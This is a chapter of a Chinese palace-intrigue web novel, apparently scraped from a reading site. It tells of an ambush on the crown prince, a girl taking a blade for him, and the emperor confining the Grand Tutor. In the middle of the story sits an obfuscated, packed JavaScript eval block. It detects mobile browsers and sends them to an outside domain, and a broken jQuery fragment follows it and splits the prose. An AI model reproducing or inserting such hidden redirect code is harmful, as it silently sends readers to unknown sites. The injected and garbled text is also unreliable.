默认冷灰
24号文字
方正启体

5. 第5章 惩太傅

作者:过沁糖蛋本书字数:K更新时间:
    四月中旬,接近烎城。


    彼时日头正盛,高高悬挂在人头顶,只沿一条小路曲行,逼仄数里。


    观其两侧皆有密林,又以山石掩目,遮天蔽日,略显阴森。


    “加速前进。”


    一道嗓音自一方红棕马背上穿出,其轻勒缰绳,只那双眸幽如寒潭,张口便欲扬马鞭。


    一道箭矢却破空而来,带着风声啸啸,只那一抹锐利的银白在昏暗中发着冷怵的光。


    “是刺客!”


    张副将惊呼,连着马匹也来回踱步,大手握着尖刀,皮肤不知是被晒的还是急的,竟也显出了红。


    而身下良驹却因此受惊,其撩开蹶子将其掀翻在地,遂脱缰狂奔。


    彼时数名黑衣人从林中奔涌而出,其皆以黑布遮面,只余一双眼睛裸露在外,光是嗓音自是雌雄难辨。


    那速度极快,一时之间竟连林中鸟雀也四散开来,不断扑棱着羽翅,不晓飞往何处去了。


    为首一人却挥剑相向,眼睛犹如凶狠的猎豹,其张口号召,声如鼓磬“谁若能取徵狗首级,黄金百两。”


    此令一出,一呼百应。


    女眷们俱被吓得仓皇逃窜,平芜也险些被伤到,遂只能伸手摸出怀中断刃相抵。


    “咻!”


    只闻得一暗器击破苍穹,观其力度,乃为破竹之势。


    如若真落入那黑衣人之手,岂非命丧我乎?


    如此,平芜当即便想也不想,只那身子似春风拂柳,弱弱地扑到那汤徵跟前去了。


    温香暖玉入怀,本该是美好的。


    可一股温热的液体喷洒,伴随着一阵刀剑入体的声音,只在平芜肩前衣衫上映出一朵无规无矩的花。


    汤徵低首,便观其血染前襟,有些甚至喷洒到他的脸上,一抹,神情略有片刻迟钝。


    只闻着那抹血液如此腥甜,指尖微颤,连着手中的长枪都快拿不稳。


    遂转身将其掷了出去,那黑衣人闷声倒地,平芜一看,原是被穿透了身子,那枪身还染着血,溅了三尺。


    面露骇然,娇弱的身子也不断瑟缩起来,又因着疼痛难忍,连光洁的额头也沁出丝丝薄汗来。


    许是又疼又怕,遂两眼一黑,竟真生生昏了过去。


    此战打得并不爽利,军中多有人为此失了马匹不说还损伤了性命。


    为此汤徵翻身下马,其踱步上前,随手拎了皇姊来问“她何故如此?”


    只是其面上染着鲜血,眸色也不似先前清冷。


    任旁人看了一眼,那眉峰微聚,犹如青峦,则更显冷凝,犹如像是憋了一团火,像是要找人撒气来着。


    “奴,奴不知。”


    皇姊被吓得打了颤,连声音也带着一丝丝哽咽,她静静跌坐在地,连面上泪也止不住地流。


    美人落泪,模样可谓凄切。


    可殊不知这让汤徵更显烦闷,遂只好重新踏上马背,大掌紧握住那劣迹斑斑的马鞭,狠狠往马屁股上一抽。


    声音粗狂且似夹杂着几分戾气,连着双腿一夹马腹道“回宫。”


    养心殿内。


    “陛下,太子回来了。”


    鸟兽衔环的鎏金香炉里染着檀香,彼时珠帘微动,从外侧缓缓走进来了一人。


    此人着暗紫色衣服,窥见那处明黄色衣角,遂又放轻了脚步,上前咬着耳朵。


    “可是汇报有误,朕记得他是去年秋季出发的,这才不到一年的功夫就回来了?”


    汤帝扬眉,只那满头青丝中夹着着一缕银白,眉目捎着倦色,再由着暖灯一照,显得面上的褶皱又深了许多。


    “是,王三特意来报,做不了假。”


    “他倒是迅速。”


    闻此,眉间混不吝多了几分涩意,连唇角都舒缓了些。


    只望着手中的奏折,却又敛了心思。


    “德喜,你说,这是这个月第几次了?”


    这本折子,日日上奏,前段时间还会变着措辞来引咎,如今竟连话风都不变就呈了上来。


    看得人眼睛疼。


    其蹙着眉头,只将那折子轻飘飘地往那四方案牍上一摔,看似力道不重,却也连那边角都磕皱了一块。


    “陛下息怒,太傅想是求贤,并非有心偏颇。”


    那称作德喜公公的人,眼睛轻轻扫了一眼折子,遂眼珠子转了转。


    彼时躬身才亲自将折子自桌面上拾起来,连连赔笑道。


    “他若真的明白,就不会与其私下往来。”


    汤帝冷笑,却并未多言,只转头问起了一旁的心腹“二皇子可曾入宫?”


    期间复又持起了朱红,却还没来得及下笔,就听着德喜出声,连墨色也晕染了一块儿。


    “回陛下,今日二皇子休沐,未在宫中。”


    皇子成年后多出门立府,只除了三令五申的上朝,便是去学那君子策论了。


    想来在宫中甚少,此话倒也在理。


    只恍惚间,汤帝陡然思绪一转,哑声道“朕记得太傅如今而立?”


    “是。”


    得了准儿,汤帝脑中赫然出现一不苟言笑的脸,那稀疏的胡子快要长到扎起辫子,他却不肯修剪半分。


    直言身体发肤受之父母。


    倒是有些好笑。


    “传朕口谕,太傅年迈,今后不必出宫,赐居桂宫。”


    “诺。”


    太监德喜得了命令,遂转身马不停蹄地准出宫宣旨。


    翌日清晨,阖宫上下大喜,当街百姓夹道欢送,只一匹红棕烈马策马奔腾,眨眼入了皇宫。


    入了正门,汤徵遂弃了马匹徒步而行,中途直奔养心殿。


    登上那白玉阶梯,却望着养心殿殿门紧闭,门口只余两盆吊兰悠悠地吐着香。


    彼时德喜公公手持浮尘从一侧过来,其先是行了礼,遂温声道“陛下昨夜劳神,现如今身子欠佳,还在歇息。”


    闻此,汤徵脚步微顿,连眉头也微不可察地皱了起来,那模样显是有几分疑虑。


    “太子不知,陛下近日烦心,皆因太傅而起”。


    话及一半,像是避着人,汤徵凑耳才能听清。“这不,昨个儿夜里才差奴才下了圣旨,如今人在桂宫,想必今后也不会舍近求远了。”


    此话说得巧妙,饶是汤徵也会了意,只观其唇角微扬,面上却没觉着有半分笑意,只躬身行了礼道。


    “待父皇身体好些了,儿臣再来。”


    如此,汤徵只好中途折返,抬脚离了养心殿,回了东宫。


    只回去那会儿等宫女才挑着灯笼,夜色降临,映照着整个东宫灯火通明,远看那桂枝树下似还立了一人,正伸着脖子四下张望。


    见着来人,其眼底遂闪过一抹欣喜,举步就顺理成章地跟了上去。


    “你怎么现在才回来?”


    说话的人乃为宁安侯庶子,姓刘,单名覅字。


    其身着一袭紫色衣衫,手里握着一把檀木扇子,上面却写着柔香暖玉这一类的风流厥词。


    饶是平日在宫里斗鸡遛狗惯了,连着宫内奴才都跟着绕道走,世人更是皆称其为纨绔子弟。


    连着安宁侯提着他这位庶子也只念着一句“犬子生性不堪,愚昧无知。”


    此时却掀了衣袍,将近日里打探到的消息一五一十地道了出来。


    只那副样子滔滔不绝,比说书的还能言会道,舌灿莲花。


    “你知不知道,那太傅老儿趁着你不在一连几日在朝堂上参你的折子,听闻你回宫遇刺,他险些仰天长笑。”


    灌了一口茶水,方才喘了口气,汤徵的耳边遂也得了个清净。


    “他与孤不对付也不是一日两日了。”


    淡淡张口,彼时连语气也变得平淡至极,倒像是在说一件平常事。


    闻此,刘覅眉眼一跳,似是猜中了什么,遂张口询问“他私下里给二皇子递的信封你看到了?”


    汤徵不言,只一双眼睛一味地盯着幽幽烛火,闻着那烛火噼啪一声脆响,冒出的窸窣火花,险些烧灼了他的眼。


    汤徵却不躲,只用一只手捻了灯芯,原是以为要去熄灭,没曾想是去帮它助长。


    “太傅被禁足了,桂宫。”


    声音清冽,犹如琴乐之音。


    刘覅闻此却止了笑意,再不嬉皮笑脸,仔细一看,其唇角拢搭下来,竟连先才的玩笑劲儿也没了。


    “方才你问我何时耽搁,我去见了汤帝,被拒之门外。”


    那火苗越燃越大,从之前的薪薪之火,眼下也可照亮着一方天地了。


    “?”


    刘覅闻此只皱了皱眉,这会儿连手中那把折扇也不把玩了,只将其攥在掌心里。


    其实若说刘覅不懂帝王之术,可焉知他是家中的庶子,所谓的嫡庶有别的道理才深入人心。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892014|176508||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要他说,庶子怎么了?明显那皇帝老儿就是偏心才对。“不若你使当日捉的活口张嘴,如此他还想抵赖也不成。”


    似是生了恼,话音微促,倒像是赌着气。


    “不可。”


    话音未落,汤徵却转了身,只一身黑色长袍,高约二米,再不言语。


    手间举着一盏油灯,缓步靠近内里的布防图。


    放眼望去,京城大族跃然纸上。


    由着灯火一晕,那处像要烧着似的,刘覅放眼一看,正是那二皇子府。


    “近日朝堂局势不定,各个世家贵族争先站队,此虽被皇帝明面禁止,可也不允许他们浮到面上来,若孤今日挑了这层纱布,便是承认皇室丑恶。”


    尤他还是太子,更会被世人诟病,道其德不配位。


    此事,汤帝正是看清了这点,遂才将劳什子太傅困在宫里,如此有人必以为其爱重太子。


    “如此……罢了。”


    此路不通,遂也只好展开了折扇,转身离去。


    平芜睁开眼的时候,身子还有些笨重。


    彼时窗外一缕暖阳透过窗棂缝隙洒了下来,伴随着院内一株梨花开的正灿,碧绿的枝叶摇摆,落下叠叠雪白花瓣来。


    沐风和煦,莺啼鸟啭。


    “姑娘醒了?”


    来人一袭蓝色衣衫,脑后别着两坨圆髻,只带这一点绒花,双侧编就细小麻花,末端皆用红带系着。


    面白唇红,脸上带着喜色。


    “我叫芳草,是太子派我伺候你的。”


    “太子?”


    就着芳草的力道,勉强靠了枕头坐好,只一双眸子清澈见底,恍若琉璃,略显无知。


    “太子就是当今皇帝的第七子啊,姑娘不知太子英明神武,想必也听过太子大败羌国,得胜还朝的事情吧!”


    芳草如此说着,丝毫未注意到平芜发颤的指尖,连身下的被褥也被攥着变了形。


    汤徵。


    他竟是太子?


    起先攻城之时,只闻其下属喊他殿下亦或主帅,她以为是成了王爷,殊不知是羌国传得神乎其神的太子。


    “果真,英勇。”


    就着当日那流言,自己也是道听途说,只今时不同往日,竟真英勇到了她身上。


    唇角沁出一丝苦笑,面色也逐渐白了下来,芳草一看竟是比病前还要脆弱几分,恍若窗外的梨花树。


    掉落了不少雪意。


    见此,芳草急忙上前将透风的窗户给关严了,伸手替其整理了被褥,待到一切妥当了,遂才温言道“姑娘如今需要休息,奴婢告退。”


    如此行了个礼便走了。


    待到次日,平芜自梦中悠悠转醒,肩上的伤口还没好利索,便只能无聊翻些话本来打发时间。


    却在读到张生一马夫为了富家小姐屡次逾墙的时候,念出了下文。“张生自知粗鄙,能见小姐一面是张生凭生之幸。”


    后面张生被摔断了腿,就钻狗洞来寻。


    两人相知相许,张生遂许下一生一世的誓言,便就此完结了。


    “无趣。”


    平芜扔了话本,光看着后文便是老套至极,可却眼睛却瞟到“张生惯用伎俩”遂来了一丝好心情。


    如此,丫鬟芳草便望着平芜日日抱着画本子赖在床上读得痴痴的,竟读写不成文的旖旎之书。


    此话也便传到了汤徵耳朵里。


    彼时他正在用膳,宫内却传来了要为其举办庆功宴的消息,说是就在那三日后。


    放下玉笃,细长的手指敲了敲桌面,一声声,咚咚作响。


    听的人心也通通直跳,芳草用手擦了擦面上的冷汗,险些跪不住。


    只还未出声,外面遂传出一阵响“劳烦向太子殿下禀报,平芜是来谢恩的。”


    声似柔歌,婉若黄鹂鸟。


    在芳草看来,她这不是来谢恩,倒是来她命的。


    汤徵闻此,长睫微动,其先是挥手屏退了芳草,后又望向那门口。


    金黄色的光线映照了一丝人影,只纤腰若素,身姿微微佝偻着,喉间溢出声声咳嗽,只一面拿着帕子闷着,这会儿倒似是猫儿在叫,“宣。”


    女子着一袭白色长裙。


    她迈着步子,上前走了几步,裙裾若一汤落花逐水,抬首间眉间无端多了几丝寂寥,唇色却好歹多了几丝血色。


    叩首“奴,谢殿下相救。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)